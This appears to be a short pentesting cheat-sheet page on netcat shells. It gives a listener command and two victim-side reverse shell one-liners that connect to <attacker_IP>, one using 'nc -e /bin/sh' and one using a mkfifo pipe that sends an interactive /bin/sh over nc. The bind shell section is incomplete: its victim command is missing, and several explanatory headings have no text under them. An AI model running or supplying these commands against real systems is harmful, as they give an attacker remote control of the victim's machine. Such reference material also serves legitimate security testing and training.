netcat
Reverse shell
Basic command on attacker machine:
# Listen on a TCP port
$ nc -lp [port]Command to be executed on the victim's machine:
# option 1
$ nc <attacker_IP> [port] -e /bin/sh
# option 2: -e flag might not be present for some netcat versions
$ rm /tmp/fifo; mkfifo /tmp/fifo; cat /tmp/fifo | /bin/sh -i 2>&1 | nc <attacker_IP> [port] > /tmp/fifo
Bind shell
Basic command on attacker machine:
# Listen on a TCP port
$ nc <victim_IP> <port>Command to be executed on the victim's machine:
Explanation for commands use in option 2 of reverse/bind shell
Useful commands to allow smooth interactions
Last updated